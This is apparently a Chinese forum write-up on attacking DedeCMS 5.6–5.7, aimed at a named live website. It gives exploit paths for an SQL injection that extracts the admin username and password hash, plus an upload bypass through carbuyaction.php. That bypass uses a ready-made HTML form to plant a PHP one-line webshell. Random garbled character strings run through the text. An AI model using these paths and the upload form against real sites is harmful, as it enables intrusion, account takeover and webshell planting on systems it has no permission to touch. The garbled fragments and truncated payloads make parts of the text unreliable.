dedecms5.6-5.7注入与上传漏洞利用

admin

①注入漏洞。
这站 http://www.political-security.com/
! }$ M+ y& v2 u+ d# i; T5 U首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，
0 b2 C1 Y) R8 J& t, {3 Pwww.political-security.com/data/mysql_error_trace.inc 爆后台
7 a8 u4 ?; `$ k/ l: O3 H; U然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。
然后写上语句
: E9 C4 i  N& h/ F9 \: o9 m查看管理员帐号
, p' t2 T. L, C7 e" Zhttp://www.political-security.co ... &membergroup=@`

( c1 [" o: o+ T; Uadmin

查看管理员密码
　http://www.political-security.co ... &membergroup=@`
3 v3 l0 D* a; `! T! x
8d29b1ef9f8c5a5af429

查看管理员密码
: z7 E5 F& I0 ]4 g% |! a3 {- v
得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5
% N. n. b) F: R8 u
8d2
4 _, t7 X$ g8 x5 m& \& C9b1ef9f8c5a5af42
+ \5 t/ M5 ^) D, Z8 H& y9

/ ^" w% A" ~% C7 |. y6 ucmd5没解出来 只好测试第二个方法
  e9 j% X8 R0 C  r  Y, U5 y' `
  _# I. u+ a# {$ v* g% q
! c" N( ?! p' Z( ~②上传漏洞：

* g& c0 m0 ^, W, H/ E- k3 Q只要登陆会员中心，然后访问页面链接
“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”
$ K( }% a; \% p7 T& v, C* E) V
( ~1 O  w0 K2 d8 p6 D& T+ f8 D如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
/ S- [% }. D" v
) \1 \) l# S5 D% K+ _, p于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm
! ~4 i% ^( e5 \
5 g/ F0 S* s+ C3 [/ t) S( g. c<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>
或者
即可上传成功